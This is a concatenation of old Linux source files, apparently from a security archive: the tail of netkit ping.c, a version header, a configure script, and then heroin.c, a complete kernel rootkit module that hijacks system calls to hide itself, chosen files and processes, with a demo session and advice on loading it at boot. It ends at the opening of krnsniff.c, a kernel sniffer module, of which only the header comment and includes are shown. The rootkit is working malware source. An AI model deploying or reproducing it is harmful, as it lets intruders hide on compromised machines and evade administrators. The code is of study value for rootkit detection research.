l = (l<<8) + *++cp;
l = (l<<8) + *++cp;
if (l == 0)
(void)printf("\t0.0.0.0");
else
(void)printf("\t%s", pr_addr(ntohl(l)));
hlen -= 4;
i -= 4;
if (i <= 0)
break;
(void)putchar('\n');
}
break;
case IPOPT_NOP:
(void)printf("\nNOP");
break;
default:
(void)printf("\nunknown option %x", *cp);
break;
}
/*#endif*/
if (!(options & F_FLOOD)) {
(void)putchar('\n');
(void)fflush(stdout);
}

return rv;
}

/*
* in_cksum --
* Checksum routine for Internet Protocol family headers (C Version)
*/

static int
in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/

while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if (nleft == 1) {
answer=0;
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}

/*
* tvsub --
* Subtract 2 timeval structs: out = out - in. Out is assumed to
* be >= in.
*/

static void
tvsub(register struct timeval *out, register struct timeval *in)
{
if ((out->tv_usec -= in->tv_usec) < 0) {
--out->tv_sec;
out->tv_usec += 1000000;
}
out->tv_sec -= in->tv_sec;
}

/*
* finish --
* Print out statistics, and give up.
*/

static void
finish(int ignore)
{
(void)ignore;

(void)signal(SIGINT, SIG_IGN);
(void)putchar('\n');
(void)fflush(stdout);
(void)printf("--- %s ping statistics ---\n", hostname);
(void)printf("%ld packets transmitted, ", ntransmitted);
(void)printf("%ld packets received, ", nreceived);
if (nrepeats)
(void)printf("+%ld duplicates, ", nrepeats);
if (ntransmitted) {
if (nreceived > ntransmitted)
(void)printf("-- somebody's printing up packets!");
else
(void)printf("%d%% packet loss",
(int) (((ntransmitted - nreceived) * 100) /
ntransmitted));
}
(void)putchar('\n');
if (nreceived && timing)
(void)printf("round-trip min/avg/max = %ld.%ld/%lu.%ld/%ld.%ld ms\n",
tmin/10, tmin%10,
(tsum / (nreceived + nrepeats))/10,
(tsum / (nreceived + nrepeats))%10,
tmax/10, tmax%10);

if (nreceived==0) exit(1);
exit(0);
}

#ifdef notdef
static char *ttab[] = {
"Echo Reply", /* ip + seq + udata */
"Dest Unreachable", /* net, host, proto, port, frag, sr + IP */
"Source Quench", /* IP */
"Redirect", /* redirect type, gateway, + IP */
"Echo",
"Time Exceeded", /* transit, frag reassem + IP */
"Parameter Problem", /* pointer + IP */
"Timestamp", /* id + seq + three timestamps */
"Timestamp Reply", /* " */
"
Info Request", /* id + sq */
"
Info Reply" /* " */

};
#endif

/*
* pr_icmph --
* Print a descriptive string about an ICMP header.
*/

static void
pr_icmph(struct icmphdr *icp)
{
switch(icp->icmp_type) {
case ICMP_ECHOREPLY:
(void)printf("Echo Reply\n");
/* XXX ID + Seq + Data */
break;
case ICMP_DEST_UNREACH:
switch(icp->icmp_code) {
case ICMP_NET_UNREACH:
(void)printf("Destination Net Unreachable\n");
break;
case ICMP_HOST_UNREACH:
(void)printf("Destination Host Unreachable\n");
break;
case ICMP_PROT_UNREACH:
(void)printf("Destination Protocol Unreachable\n");
break;
case ICMP_PORT_UNREACH:
(void)printf("Destination Port Unreachable\n");
break;
case ICMP_FRAG_NEEDED:
(void)printf("frag needed and DF set\n");
break;
case ICMP_SR_FAILED:
(void)printf("Source Route Failed\n");
break;
case ICMP_NET_UNKNOWN:
(void)printf("Network Unknown\n");
break;
case ICMP_HOST_UNKNOWN:
(void)printf("Host Unknown\n");
break;
case ICMP_HOST_ISOLATED:
(void)printf("Host Isolated\n");
break;
case ICMP_NET_UNR_TOS:
printf("Destination Network Unreachable At This TOS\n");
break;
case ICMP_HOST_UNR_TOS:
printf("Destination Host Unreachable At This TOS\n");
break;
#ifdef ICMP_PKT_FILTERED
case ICMP_PKT_FILTERED:
(void)printf("Packet Filtered\n");
break;
#endif
#ifdef ICMP_PREC_VIOLATION
case ICMP_PREC_VIOLATION:
(void)printf("Precedence Violation\n");
break;
#endif
#ifdef ICMP_PREC_CUTOFF
case ICMP_PREC_CUTOFF:
(void)printf("Precedence Cutoff\n");
break;
#endif
default:
(void)printf("Dest Unreachable, Unknown Code: %d\n",
icp->icmp_code);
break;
}
/* Print returned IP header information */
#ifndef icmp_data
pr_retip((struct iphdr *)(icp + 1));
#else
pr_retip((struct iphdr *)icp->icmp_data);
#endif
break;
case ICMP_SOURCE_QUENCH:
(void)printf("Source Quench\n");
#ifndef icmp_data
pr_retip((struct iphdr *)(icp + 1));
#else
pr_retip((struct iphdr *)icp->icmp_data);
#endif
break;
case ICMP_REDIRECT:
switch(icp->icmp_code) {
case ICMP_REDIR_NET:
(void)printf("Redirect Network");
break;
case ICMP_REDIR_HOST:
(void)printf("Redirect Host");
break;
case ICMP_REDIR_NETTOS:
(void)printf("Redirect Type of Service and Network");
break;
case ICMP_REDIR_HOSTTOS:
(void)printf("Redirect Type of Service and Host");
break;
default:
(void)printf("Redirect, Bad Code: %d", icp->icmp_code);
break;
}
(void)printf("(New addr: %s)\n",
inet_ntoa(icp->icmp_gwaddr));
#ifndef icmp_data
pr_retip((struct iphdr *)(icp + 1));
#else
pr_retip((struct iphdr *)icp->icmp_data);
#endif
break;
case ICMP_ECHO:
(void)printf("Echo Request\n");
/* XXX ID + Seq + Data */
break;
case ICMP_TIME_EXCEEDED:
switch(icp->icmp_code) {
case ICMP_EXC_TTL:
(void)printf("Time to live exceeded\n");
break;
case ICMP_EXC_FRAGTIME:
(void)printf("Frag reassembly time exceeded\n");
break;
default:
(void)printf("Time exceeded, Bad Code: %d\n",
icp->icmp_code);
break;
}
#ifndef icmp_data
pr_retip((struct iphdr *)(icp + 1));
#else
pr_retip((struct iphdr *)icp->icmp_data);
#endif
break;
case ICMP_PARAMETERPROB:
(void)printf("Parameter problem: IP address = %s\n",
inet_ntoa (icp->icmp_gwaddr));
#ifndef icmp_data
pr_retip((struct iphdr *)(icp + 1));
#else
pr_retip((struct iphdr *)icp->icmp_data);
#endif
break;
case ICMP_TIMESTAMP:
(void)printf("Timestamp\n");
/* XXX ID + Seq + 3 timestamps */
break;
case ICMP_TIMESTAMPREPLY:
(void)printf("Timestamp Reply\n");
/* XXX ID + Seq + 3 timestamps */
break;
case ICMP_INFO_REQUEST:
(void)printf("Information Request\n");
/* XXX ID + Seq */
break;
case ICMP_INFO_REPLY:
(void)printf("Information Reply\n");
/* XXX ID + Seq */
break;
#ifdef ICMP_MASKREQ
case ICMP_MASKREQ:
(void)printf("Address Mask Request\n");
break;
#endif
#ifdef ICMP_MASKREPLY
case ICMP_MASKREPLY:
(void)printf("Address Mask Reply\n");
break;
#endif
default:
(void)printf("Bad ICMP type: %d\n", icp->icmp_type);
}
}

/*
* pr_iph --
* Print an IP header with options.
*/

static void
pr_iph(struct iphdr *ip)
{
int hlen;
u_char *cp;

hlen = ip->ip_hl << 2;
cp = (u_char *)ip + 20; /* point to options */

(void)printf("Vr HL TOS Len ID Flg off TTL Pro cks Src Dst Data\n");
(void)printf(" %1x %1x %02x %04x %04x",
ip->ip_v, ip->ip_hl, ip->ip_tos, ip->ip_len, ip->ip_id);
(void)printf(" %1x %04x", ((ip->ip_off) & 0xe000) >> 13,
(ip->ip_off) & 0x1fff);
(void)printf(" %02x %02x %04x", ip->ip_ttl, ip->ip_p, ip->ip_sum);
(void)printf(" %s ", inet_ntoa(*((struct in_addr *) &ip->ip_src)));
(void)printf(" %s ", inet_ntoa(*((struct in_addr *) &ip->ip_dst)));
/* dump and option bytes */
while (hlen-- > 20) {
(void)printf("%02x", *cp++);
}
(void)putchar('\n');
}

/*
* pr_addr --
* Return an ascii host address as a dotted quad and optionally with
* a hostname.
*/

static char *
pr_addr(u_long l)
{
struct hostent *hp;
static char buf[256];

if ((options & F_NUMERIC) ||
!(hp = gethostbyaddr((char *)&l, 4, AF_INET)))
(void)snprintf(buf, sizeof(buf), "%s",
inet_ntoa(*(struct in_addr *)&l));
else
(void)snprintf(buf, sizeof(buf), "%s (%s)", hp->h_name,
inet_ntoa(*(struct in_addr *)&l));
return(buf);
}

/*
* pr_retip --
* Dump some info on a returned (via ICMP) IP packet.
*/

static void
pr_retip(struct iphdr *ip)
{
int hlen;
u_char *cp;

pr_iph(ip);
hlen = ip->ip_hl << 2;
cp = (u_char *)ip + hlen;

if (ip->ip_p == 6)
(void)printf("TCP: from port %u, to port %u (decimal)\n",
(*cp * 256 + *(cp + 1)), (*(cp + 2) * 256 + *(cp + 3)));
else if (ip->ip_p == 17)
(void)printf("UDP: from port %u, to port %u (decimal)\n",
(*cp * 256 + *(cp + 1)), (*(cp + 2) * 256 + *(cp + 3)));
}

static void
fill(void *bp1, char *patp)
{
register int ii, jj, kk;
int pat[16];
char *cp, *bp = (char *)bp1;

for (cp = patp; *cp; cp++)
if (!isxdigit(*cp)) {
(void)fprintf(stderr,
"ping: patterns must be specified as hex digits.\n");
exit(2);
}
ii = sscanf(patp,
"%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x",
&pat[0], &pat[1], &pat[2], &pat[3], &pat[4], &pat[5], &pat[6],
&pat[7], &pat[8], &pat[9], &pat[10], &pat[11], &pat[12],
&pat[13], &pat[14], &pat[15]);

if (ii > 0)
for (kk = 0; kk <= MAXPACKET - (8 + ii); kk += ii)
for (jj = 0; jj < ii; ++jj)
bp[jj + kk] = pat[jj];
if (!(options & F_QUIET)) {
(void)printf("PATTERN: 0x");
for (jj = 0; jj < ii; ++jj)
(void)printf("%02x", bp[jj] & 0xFF);
(void)printf("\n");
}
}

static void
usage(void)
{
(void)fprintf(stderr,"usage: ping [-LRdfnqrv] [-c count] [-i wait] [-l preload]\n\t[-p pattern] [-s packetsize] [-t ttl] [-I interface address] host\n");
exit(2);
}

version.h

/* 
* String to embed in binaries to identify package
*/

char pkg[]="$NetKit: netkit-base-0.16 $";

configure

#!/bin/sh 
#
# This file was generated by confgen version 2.
# Do not edit.
#

PREFIX='/usr'
#EXECPREFIX='$PREFIX'
#ROOTPREFIX='$PREFIX'
INSTALLROOT=''
BINMODE='755'
#DAEMONMODE='$BINMODE'
MANMODE='644'
SUIDMODE='4755'

while [ x$1 != x ]; do case $1 in

--help)
cat <<EOF
Usage: configure [options]
--help Show this message
--with-debug Enable debugging
--prefix=path Prefix for location of files [/usr]
--exec-prefix=path Location for arch-depedent files [prefix]
--root-prefix=path Location of root partition files [prefix or /]
--installroot=root Top of filesystem tree to install in [/]
--binmode=mode Mode for binaries [755]
--daemonmode=mode Mode for daemon binaries [same as binmode]
--manmode=mode Mode for manual pages [644]
--suidmode=mode Mode for setuid programs [4755]
--with-c-compiler=cc Program for compiling C source [guessed]
EOF
exit 0;;
--verbose) ;;
--quiet) ;;

--subdir) . ../configure.defs;;

--with-debug|--debug) DEBUG=1;;
--prefix=*) PREFIX=`echo $1 | sed 's/^[^=]*=//'` ;;
--exec-prefix=*) EXECPREFIX=`echo $1 | sed 's/^[^=]*=//'` ;;
--root-prefix=*) ROOTPREFIX=`echo $1 | sed 's/^[^=]*=//'` ;;
--installroot=*) INSTALLROOT=`echo $1 | sed 's/^[^=]*=//'` ;;
--binmode=*) BINMODE=`echo $1 | sed 's/^[^=]*=//'` ;;
--daemonmode=*) DAEMONMODE=`echo $1 | sed 's/^[^=]*=//'` ;;
--manmode=*) MANMODE=`echo $1 | sed 's/^[^=]*=//'` ;;
--suidmode=*) SUIDMODE=`echo $1 | sed 's/^[^=]*=//'` ;;
--with-c-compiler=*) CC=`echo $1 | sed 's/^[^=]*=//'` ;;
--without-pam|--disable-pam) WITHOUT_PAM=1;;
--without-readline|--disable-readline) WITHOUT_READLINE=1;;
--without-shadow|--disable-shadow) WITHOUT_SHADOW=1;;
*) echo "Unrecognized option: $1"; exit 1;;
esac
shift
done

if [ x$EXECPREFIX = x ]; then
EXECPREFIX="$PREFIX"
fi

if [ x$ROOTPREFIX = x ]; then
ROOTPREFIX="$PREFIX"
fi

if [ x$DAEMONMODE = x ]; then
DAEMONMODE="$BINMODE"
fi

if [ x$ROOTPREFIX = x/usr ]; then
ROOTPREFIX=""
fi

BINDIR="$EXECPREFIX/bin"
SBINDIR="$EXECPREFIX/sbin"
MANDIR="$PREFIX/man"
ROOTBINDIR="$ROOTPREFIX/bin"

echo "Directories: $ROOTBINDIR $BINDIR $SBINDIR $MANDIR "

if [ x$INSTALLROOT != x ]; then
echo "Installing in chroot tree rooted at $INSTALLROOT"
fi

##################################################

WARNINGS='-Wall -W -Wpointer-arith -Wbad-function-cast -Wcast-qual -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wnested-externs -Winline '

cat << EOF > __conftest.c
int main() { int class=0; return class; }
EOF

if [ x"$CC" = x ]; then
echo -n 'Looking for a C compiler... '
for TRY in egcs gcc g++ CC c++ cc; do
(
$TRY __conftest.c -o __conftest || exit 1;
./__conftest || exit 1;
) >/dev/null 2>&1 || continue;
CC=$TRY
break;
done
if [ x"$CC" = x ]; then
echo 'failed.'
echo 'Cannot find a C compiler. Run configure with --with-c-compiler.'
rm -f __conftest*
exit
fi
echo "$CC"
else
echo -n 'Checking if C compiler works... '
if (
$CC __conftest.c -o __conftest || exit 1
./__conftest || exit 1
) >/dev/null 2>&1; then
echo 'yes'
else
echo 'no'
echo 'Compiler '"$CC"' does not exist or cannot compile C; try another.'
rm -f __conftest*
exit
fi
fi

echo -n "Checking if $CC accepts gcc warnings... "
if (
$CC $WARNINGS __conftest.c -o __conftest || exit 1
) >/dev/null 2>&1; then
echo 'yes'
CC_WARNINGS=1
else
echo 'no'
fi

if [ x$DEBUG = x ]; then
echo -n "Checking if $CC accepts -O2... "
if (
$CC -O2 __conftest.c -o __conftest
) >/dev/null 2>&1; then
echo 'yes'
CFLAGS="$CFLAGS -O2"
else
echo 'no'
echo -n "Checking if $CC accepts -O... "
if (
$CC -O __conftest.c -o __conftest
) >/dev/null 2>&1; then
echo 'yes'
CFLAGS="$CFLAGS -O"
else
echo 'no'
fi
fi

else
echo -n "Checking if $CC accepts -g... "
if (
$CC -g __conftest.c -o __conftest
) >/dev/null 2>&1; then
echo 'yes'
CFLAGS="$CFLAGS -g"
else
echo 'no'
fi

fi

LDFLAGS=
LIBS=

rm -f __conftest*

##################################################

echo -n 'Checking for BSD signal semantics... '
cat <<EOF >__conftest.c
#include <unistd.h>
#include <signal.h>
int count=0;
void handle(int foo) { count++; }
int main() {
int pid=getpid();
signal(SIGINT, handle);
kill(pid,SIGINT);
kill(pid,SIGINT);
kill(pid,SIGINT);
if (count!=3) return 1;
return 0;
}

EOF
if (
$CC $CFLAGS __conftest.c -o __conftest || exit 1
./__conftest || exit 1
) >/dev/null 2>&1; then
echo 'yes'
else
if (
$CC $CFLAGS -D__USE_BSD_SIGNAL __conftest.c -o __conftest || exit 1
./__conftest || exit 1
) >/dev/null 2>&1; then
echo '-D__USE_BSD_SIGNAL'
CFLAGS="$CFLAGS -D__USE_BSD_SIGNAL"
else
echo 'no'
echo 'This package needs BSD signal semantics to run.'
rm -f __conftest*
exit
fi
fi
rm -f __conftest*

##################################################

echo -n 'Checking for socklen_t... '
cat <<EOF >__conftest.c
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main() {
struct sockaddr_in sn;
socklen_t len = sizeof(sn);
getpeername(0, (struct sockaddr *)&sn, &len);
return 0;
}

EOF
if (
$CC $CFLAGS __conftest.c -o __conftest || exit 1
) >/dev/null 2>&1; then
echo 'yes'
else
if (
$CC $CFLAGS -Dsocklen_t=int __conftest.c -o __conftest || exit 1
) >/dev/null 2>&1; then
echo 'int'
CFLAGS="$CFLAGS -Dsocklen_t=int"
else
if (
$CC $CFLAGS -Dsocklen_t=size_t __conftest.c -o __conftest || exit 1
) >/dev/null 2>&1; then
echo 'size_t'
CFLAGS="$CFLAGS -Dsocklen_t=size_t"
else
echo 'no'
echo 'Cannot work out what to use for socklen_t. Help...'
rm -f __conftest*
exit
fi
fi
fi
rm -f __conftest*

##################################################

echo -n 'Checking for snprintf declaration... '
cat <<EOF >__conftest.c
#include <stdio.h>
int main() {
void *x = (void *)snprintf;
printf("%lx", (long)x);
return 0;
}

EOF
if (
$CC $CFLAGS __conftest.c -o __conftest || exit 1
) >/dev/null 2>&1; then
echo 'ok'
else
if (
$CC $CFLAGS -D_GNU_SOURCE __conftest.c -o __conftest || exit 1
./__conftest || exit 1
) >/dev/null 2>&1; then
echo '-D_GNU_SOURCE'
CFLAGS="$CFLAGS -D_GNU_SOURCE"
else
echo 'manual'
CFLAGS="$CFLAGS -DDECLARE_SNPRINTF"
fi
fi
rm -f __conftest*

echo -n 'Checking for snprintf implementation... '
cat <<EOF >__conftest.c
#include <stdio.h>
#include <string.h>
#ifdef DECLARE_SNPRINTF
#ifdef __cplusplus
extern "C"
#endif /*__cplusplus*/
int snprintf(char *, int, const char *, ...);
#endif /*DECLARE_SNPRINTF*/
int main() {
char buf[32];
snprintf(buf, 8, "%s", "1234567890");
if (strlen(buf)!=7) return 1;
return 0;
}

EOF
if (
$CC $CFLAGS __conftest.c $(LIBBSD) -o __conftest || exit 1
./__conftest || exit 1
) >/dev/null 2>&1; then
echo 'ok'
else
if (
$CC $CFLAGS __conftest.c -lsnprintf $(LIBBSD) -o __conftest || exit 1
./__conftest || exit 1
) >/dev/null 2>&1; then
echo '-lsnprintf'
LIBS="$LIBS -lsnprintf"
else
if (
$CC $CFLAGS __conftest.c -ldb $(LIBBSD) -o __conftest || exit 1
./__conftest || exit 1
) >/dev/null 2>&1; then
echo '-ldb'
LIBS="$LIBS -ldb"
else
echo 'missing'
echo 'This package requires snprintf.'
rm -f __conftest*
exit
fi
fi
fi
rm -f __conftest*

##################################################

## libbsd should go last in case it's broken
if [ "x$LIBBSD" != x ]; then
LIBS="$LIBS $LIBBSD"
fi

echo 'Generating MCONFIG...'
(
echo -n '# Generated by configure (confgen version 2) on '
date
echo '#'
echo

echo "BINDIR=$BINDIR"
echo "SBINDIR=$SBINDIR"
echo "MANDIR=$MANDIR"
echo "ROOTBINDIR=$ROOTBINDIR"
echo "BINMODE=$BINMODE"
echo "DAEMONMODE=$DAEMONMODE"
echo "MANMODE=$MANMODE"
echo "SUIDMODE=$SUIDMODE"
echo "PREFIX=$PREFIX"
echo "EXECPREFIX=$EXECPREFIX"
echo "ROOTPREFIX=$ROOTPREFIX"
echo "INSTALLROOT=$INSTALLROOT"
echo "CC=$CC"
if [ x$CC_WARNINGS != x ]; then
CFLAGS="$CFLAGS $WARNINGS"
fi

echo "CFLAGS=$CFLAGS" | sed 's/= */=/'
echo "LDFLAGS=$LDFLAGS" | sed 's/= */=/'
echo "LIBS=$LIBS" | sed 's/= */=/'

) > MCONFIG

heroin.c

/* 

[ http://www.rootshell.com/ ]

As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
to patch any system call under Linux from within a module. This means that
once your system has been compromised at the root level, it is possible for
an intruder to hide completely _without_ modifying any binaries or leaving
any visible backdoors behind. Because such tools are likely to be in use
within the hacker community already, I decided to publish a piece of code to
demonstrate the potentials of a malicious module.

The following piece of code is a fully working Linux module for 2.1 kernels
that patches the getdents(), kill(), read() and query_module() calls. Once
loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
modifying the output of every query_module() call and every read() call
accessing /proc/modules. Apparently rmmod also calls query_module() to list
all modules before attempting to remove the specified module, and will
therefore claim that the module does not exist even if you know its name. The
output of any getdents() call is modified to hide any files or directories
starting with a given string, leaving them accessible only if you know their
exact names. It also hides any directories in /proc matching pids that have a
specified flag set in its internal task structure, allowing a user with root
access to hide any process (and its children, since the task structure is
duplicated when the process does a fork()). To set this flag, simply send the
process a signal 31 which is caught and handled by the patched kill() call.

To demonstrate the effects...

[root@image:~/test]# ls -l
total 3
-rw------- 1 root root 2832 Oct 8 16:52 heroin.o
[root@image:~/test]# insmod heroin.o
[root@image:~/test]# lsmod | grep heroin
[root@image:~/test]# grep heroin /proc/modules
[root@image:~/test]# rmmod heroin
rmmod: module heroin not loaded
[root@image:~/test]# ls -l
total 0
[root@image:~/test]# echo "I'm invisible" > heroin_test
[root@image:~/test]# ls -l
total 0
[root@image:~/test]# cat heroin_test
I'm invisible
[root@image:~/test]# ps -aux | grep gpm
root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
[root@image:~/test]# kill -31 223
[root@image:~/test]# ps -aux | grep gpm
[root@image:~/test]# ps -aux 223
USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
[root@image:~/test]# ls -l /proc | grep 223
[root@image:~/test]# ls -l /proc/223
total 0
-r--r--r-- 1 root root 0 Oct 8 16:53 cmdline
lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run
-r-------- 1 root root 0 Oct 8 16:54 environ
lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm
dr-x------ 1 root root 0 Oct 8 16:54 fd
pr--r--r-- 1 root root 0 Oct 8 16:54 maps
-rw------- 1 root root 0 Oct 8 16:54 mem
lrwx------ 1 root root 0 Oct 8 16:54 root -> /
-r--r--r-- 1 root root 0 Oct 8 16:53 stat
-r--r--r-- 1 root root 0 Oct 8 16:54 statm
-r--r--r-- 1 root root 0 Oct 8 16:54 status
[root@image:~/test]#

The implications should be obvious. Once a compromise has taken place,
nothing can be trusted, the operating system included. A module such as this
could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded
after every reboot, or put in place of a commonly used module and in turn
have it load the required module for an added level of protection. (Thanks
Sean :) Combined with a reasonably obscure remote backdoor it could remain
undetected for long periods of time unless the system administrator knows
what to look for. It could even hide the packets going to and from this
backdoor from the kernel itself to prevent a local packet sniffer from seeing
them.

So how can it be detected? In this case, since the number of processes is
limited, one could try to open every possible process directory in /proc and
look for the ones that do not show up otherwise. Using readdir() instead of
getdents() will not work, since it appears to be just a wrapper for
getdents(). In short, trying to locate something like this without knowing
exactly what to look for is rather futile if done in userspace...

Be afraid. Be very afraid. ;)

.../ru

-----


* heroin.c
*
* Runar Jensen <zarq@opaque.org>
*
* This Linux kernel module patches the getdents(), kill(), read()
* and query_module() system calls to demonstrate the potential
* dangers of the way modules have full access to the entire kernel.
*
* Once loaded, the module becomes invisible and can not be removed
* with rmmod. Any files or directories starting with the string
* defined by MAGIC_PREFIX appear to disappear, and sending a signal
* 31 to any process as root effectively hides it and all its future
* children.
*
* This code should compile cleanly and work with most (if not all)
* recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
* It will not compile as is under 2.0.30, since 2.0.30 lacks the
* query_module() function.
*
* Compile with:
* gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
*/


#include <linux/fs.h>
#include <linux/module.h>
#include <linux/modversions.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <sys/syscall.h>

#include <linux/dirent.h>
#include <linux/proc_fs.h>
//#include <stdlib.h>

#define MAGIC_PREFIX "pchaz"

#define PF_INVISIBLE 0x10000000
#define SIGINVISI 31

int errno;

static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline _syscall2(int, kill, pid_t, pid, int, sig);
static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);

extern void *sys_call_table[];

int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
int (*original_kill)(pid_t, int);
int (*original_read)(int, void *, size_t);
int (*original_query_module)(const char *, int, void *, size_t, size_t *);

int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;

for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if(*ptr < '0' || *ptr > '9')
return(-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
return(res);
}

void mybcopy(char *src, char *dst, unsigned int num)
{
while(num--)
*(dst++) = *(src++);
}

int mystrcmp(char *str1, char *str2)
{
while(*str1 && *str2)
if(*(str1++) != *(str2++))
return(-1);
return(0);
}

struct task_struct *find_task(pid_t pid)
{
struct task_struct *task = current;

do {
if(task->pid == pid)
return(task);

task = task->next_task;

} while(task != current);

return(NULL);
}

int is_invisible(pid_t pid)
{
struct task_struct *task;

if((task = find_task(pid)) == NULL)
return(0);

if(task->flags & PF_INVISIBLE)
return(1);

return(0);
}

int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
int res;
int proc = 0;
struct inode *dinode;
char *ptr = (char *)dirp;
struct dirent *curr;
struct dirent *prev = NULL;

res = (*original_getdents)(fd, dirp, count);

if(!res)
return(res);

if(res == -1)
return(-errno);

#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif

if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
proc = 1;

while(ptr < (char *)dirp + res) {
curr = (struct dirent *)ptr;

if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
(proc && is_invisible(myatoi(curr->d_name)))) {

if(curr == dirp) {
res -= curr->d_reclen;
mybcopy(ptr + curr->d_reclen, ptr, res);
continue;
}
else
prev->d_reclen += curr->d_reclen;
}
else
prev = curr;

ptr += curr->d_reclen;
}

return(res);
}

int hacked_kill(pid_t pid, int sig)
{
int res;
struct task_struct *task = current;

if(sig != SIGINVISI) {
res = (*original_kill)(pid, sig);

if(res == -1)
return(-errno);

return(res);
}

if((task = find_task(pid)) == NULL)
return(-ESRCH);

if(current->uid && current->euid)
return(-EPERM);

task->flags |= PF_INVISIBLE;

return(0);
}

int hacked_read(int fd, char *buf, size_t count)
{
int res;
char *ptr, *match;
struct inode *dinode;

res = (*original_read)(fd, buf, count);

if(res == -1)
return(-errno);

#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif

if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
return(res);

ptr = buf;

while(ptr < buf + res) {
if(!mystrcmp(MAGIC_PREFIX, ptr)) {
match = ptr;
while(*ptr && *ptr != '\n')
ptr++;
ptr++;
mybcopy(ptr, match, (buf + res) - ptr);
res = res - (ptr - match);
return(res);
}
while(*ptr && *ptr != '\n')
ptr++;
ptr++;
}

return(res);
}

int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
{
int res;
int cnt;
char *ptr, *match;

res = (*original_query_module)(name, which, buf, bufsize, ret);

if(res == -1)
return(-errno);

if(which != QM_MODULES)
return(res);

ptr = buf;

for(cnt = 0; cnt < *ret; cnt++) {
if(!mystrcmp(MAGIC_PREFIX, ptr)) {
match = ptr;
while(*ptr)
ptr++;
ptr++;
mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
(*ret)--;
return(res);
}
while(*ptr)
ptr++;
ptr++;
}

return(res);
}

int init_module(void)
{
original_getdents = sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents] = hacked_getdents;

original_kill = sys_call_table[SYS_kill];
sys_call_table[SYS_kill] = hacked_kill;

original_read = sys_call_table[SYS_read];
sys_call_table[SYS_read] = hacked_read;

original_query_module = sys_call_table[SYS_query_module];
sys_call_table[SYS_query_module] = hacked_query_module;

return(0);
}

void cleanup_module(void)
{
sys_call_table[SYS_getdents] = original_getdents;
sys_call_table[SYS_kill] = original_kill;
sys_call_table[SYS_read] = original_read;
sys_call_table[SYS_query_module] = original_query_module;
}

krnsniff.c

/* 
* krnsniff.c v0.1a - A kernel based sniffer module
*
* by Kossak
* ldvg@rnl.ist.utl.pt || http://www.rnl.ist.utl.pt/~ldvg
*
* This file is licensed by the GNU General Public License.
*
* Tested on a 2.2.5 kernel. Should compile on others with minimum fuss.
* However, I'm not responsible for setting fire on your computer, loss of
* mental health, bla bla bla...
*
* CREDITS: - Mike Edulla's ever popular linsniffer for some logging ideas.
* - Plaguez and Halflife for an excelent phrack article on
* kernel modules.
* - the kernel developers for a great job.
*
* USAGE: gcc -O2 -DDEBUG -c krnsniff.c -I/usr/src/linux/include ;
* insmod krnsniff.o [dev=<device>]
*
* TODO : - implement a timeout feature (IMPORTANT)
* - better support for certain stupid ppp devices that don't set
* dev->hard_header_len correctly.
* - Parallel logging (like linsniff.c, this thing is still just
* logging one connection at a time).
* - fix strange kmem grows kernel bitchings.
*
* NOTE: the purpose of this module is to expose the dangers of a rooted
* system. It is virtually impossible to detect, if used with a module
* hidder.
* I also intend to develop this further (ie: use a device instead of
* writing to a file; more options) to become a simple and easy way to
* detect unauthorized network intrusions.
*
* Oh, and script kiddies, don't read the FUCKING source, I hope you
* have shit loads of kernel faults and you lose all your 31337 0wn3d
* s1t3z... grrr.
*/


#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/byteorder/generic.h>
#include <linux/netdevice.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/skbuff.h>

#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>

/* from a piece of pmsac's code... this is pratic :) */
#define DBGPRN1(X) if (debug) printk(KERN_DEBUG X)
#define DBGPRN2(X,Y) if (debug) printk(KERN_DEBUG X, Y);
